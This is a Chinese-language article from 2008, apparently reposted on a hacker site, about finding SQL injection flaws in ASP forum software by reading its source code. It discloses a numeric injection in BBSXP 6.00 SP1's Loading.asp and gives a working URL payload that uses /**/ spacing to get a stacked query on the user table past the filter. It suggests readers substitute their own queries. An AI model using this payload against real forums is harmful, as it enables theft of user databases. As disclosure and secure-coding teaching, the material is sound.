您现在的位置: 骇客基地 >> 黑客文章 >> 漏洞研究 >> 正文

BBSXP最新漏洞及发现过程
骇客基地 阅读: 时间:2008-6-13 2:14:20 来源:www.hookbase.com
  

操作环境:Micromedia Dreamweaver 8.0+IIS 5.0+SQL Server 2000+BBSXP 6.00 SP1 SQL
出差回来的这几天工作比较轻松,正好为大家献上前几天发现的BBSXP新漏洞,顺便给大家介绍一下查找ASP程序漏洞的方法。看到这里你应该会想到NBSI吧?没错,NBSI的确是一个不错的漏洞检测和利用的工具,但它只能针对有规律可循的简单的漏洞。从软件测试的角度来说它使用的是黑盒测试方法。而现在我要告诉大家的是白盒测试方法:从源代码中去查找漏洞(安全系数比较高的BUG)。
在开始之前要先选择一个顺手的工具,我用的是Dreamweaver 8.0。首先在DW中创建一个站点。
下面给大家介绍一些相关的理论基础,(脚本小子:这个时候千万不要不耐烦。如果到这里就不耐烦了,那你就只能做一只小菜鸟)目的是为了让大家摆脱知其然而不知其所以然的困境。
由于在ASP中的所有漏洞都是由于没有严格校验从客户端接收的数据而造成的,所谓的数字型、字符型漏洞只是在SQL查询语句中的使用方法不同而已。而在程序中所有的数据校验和转换的过程都是包含在从数据接收到执行查询语句之间的,因此我们的关注点就要放在获取客户端提交的数据与拼接查询语句之间的数据校验过程中。
为了简化查找的过程,我们要从一些关键字入手。利用Dreamweaver的搜索功能把可能会存在漏洞的位置查找出来。在ASP中接收客户端数据的方法不外乎Request对象,使用方法包括且类似于Request(“ForumID”)、Request.QueryString(“ForumID”)、Request.Form(“ForumID”)、Request.Cookies(“ForumID”)。因此只需要搜索Request关键字就可以了。
文件名中包含Admin的就不需要再看了,因为我们不可能在普通用户的状态下访问到这些文件。双击Bank.asp中的一个搜索结果在编辑窗口中可以看到下面的代码:
qmoney=int(Request("qmoney"))
if qmoney > Rs("UserMoney") then error("<li>您的现金没有这么多吧!")
if qmoney<1 then error("<li>存款不能为零!")

Rs("savemoney")=Rs("savemoney")+qmoney+accrual
Rs("UserMoney")=Rs("UserMoney")-qmoney
Rs("SaveMoneyTime")=now()
Rs.update
Rs.close
这里使用了int方法进行了数据转换,同时使用Recordset字段赋值后保存数据,这么做是不可能产生漏洞的。事实上两个方法中只要使用了任意一个都无法注入,因此可以将类似的数据使用方法忽略。
双击Friends.asp中的搜索结果可以找到如下代码:
incept=HTMLEncode(Request("incept"))
UserName=HTMLEncode(Request("UserName"))

sub add
if UserName="" then error2("请输入您要添加的好友名字!")

if UserName=CookieUserName then error2("不能添加自己!")

If Conn.Execute("Select id From [BBSXP_Users] where UserName='"&UserName&"'" ).eof Then error2("数据库不存在此用户的资料!")
从查询语句上可以看出:如果UserName变量中包含单引号的话将会产生字符型注入漏洞。所以需要在UserName从客户端获取到拼接查询语句的过程中使用HTMLEncode方法来进行过滤,此法的实现逻辑如下:
function HTMLEncode(fString)
fString=Replace(fString,";",";")
fString=Replace(fString,"<","<")
fString=Replace(fString,">",">")
fString=Replace(fString,"\","\")
fString=Replace(fString,"--","--")
fString=Replace(fString,CHR(9)," ")
fString=Replace(fString,CHR(10),"<br>")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22)," ")
fString=Replace(fString,CHR(32)," ")
fString=Replace(fString,CHR(34),""")'双引号
fString=Replace(fString,CHR(39),"'")'单引号
fString=ReplaceText(fString,"&#([0-9]*);","&#$1;") '解决韩文字符问题
if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi首创
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","&#x30$1;")
fString=unescape(fString)
end if
HTMLEncode=fString
end function
我们关注的方法中显然已经过滤了单引号,因此也就不会产生字符型注入漏洞。继续向下看搜索结果。如果看到类似的语句,且使用HTMLEncode方法过滤了,我们就可以认为它是安全的。
另外还有一些比较普遍的情况,类似于如下代码:
select case Request("menu")
case "add"
add
case "bad"
bad
case "Del"
Del
case "Post"
Post
case "look"
look
case "loadLog"
loadLog
case "addPost"
addPost
case ""
index
end select
在这段代码中menu的值没用被用到查询语句中,也就不可能产生注入漏洞,同样也可以忽略。
上面我说了很多种不会产生漏洞的代码,你一定是急着想知道什么样的代码才能产生漏洞吧?拿出一点耐心来,通过对上面的这几种情况进行排查分析后,在702个搜索结果中所剩的也就是只有十几个了。
接下来说一下产生漏洞的代码,找到Loading.asp的第一个搜索结果可以看到这段代码:
id=int(Request("id"))
ForumID=HTMLEncode(Request("ForumID"))
if id="0" then
if Request("ForumID")="0" then
sql="select * from [BBSXP_UsersOnline] where UserName<>'' and eremite<>1"
else
sql="select * from [BBSXP_UsersOnline] where ForumID="&ForumID&" and UserName<>'' and eremite<>1"
end if
从查询语句来看,这段代码应该存在数字型注入漏洞。然而它对ForumID却使用HTMLEncode方法进行过滤,也就是说除了单引号等特殊字符外,字母和常用符号都是可以通过验证的。为了证实这个想法,我在这段代码后加了一句“Response.Write(sql)”用来测试。
输入如下的URL:
“http://localhost/bbsxp/loading.asp?ForumID=0/**/select/**/username/**/from/**/bbsxp_user/**/select/**/*/**/from/**/bbsxp_usersonline/**/where/**/forumid=0”
空白页面上显示出我们所需要的查询语句:
select * from [BBSXP_UsersOnline] where ForumID=0/**/select/**/username/**/from/**/bbsxp_user/**/select/**/*/**/from/**/bbsxp_usersonline/**/where/**/forumid=0 and UserName<>'' and eremite<>1
这意味着构造的语句已经成功地通过了系统过滤。现在我们可以把URL中的“select/**/username/**/from/**/bbsxp_user”修改成任意的、不包含特殊字符的SQL查询语句。接下来的操作不用说了吧?不过有时候查询语句并不会直接显示在界面上,我们可以使用Sql Profile监视自己提交的查询语句。
由于论坛的安全性一般都比较高,所以漏洞查找……大多数时间跟大海捞针一样,只有掌握了一些方法的前提下才能在一定程度上简化这个过程。
本文简单给大家说了一下漏洞的发现过程,相对来说还是比较简单的一个。可能是因为BBSXP改版的过程中代码量较大而没有注意到这些细节的问题吧?在更多的时候每一个从客户端接收的变量都要经过几个方法之间的传递之后才会送到数据库里,对于这样的情况发现和测试都是比较困难的。不过万变不离其宗,只要你掌握了方法,多试几次总是可以找到的。你会渐渐的明白,大海捞针也并非不可能。
最后多嘴一句:实际上除了刚才说的漏洞之外还有一个不太显眼的漏洞,你可以尝试着去搜索一下。这个问题就留给大家了,要相信你自己一定会找到的!

今天广告
参与评论:
注意事项:
【BBSXP最新漏洞及发现过程】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号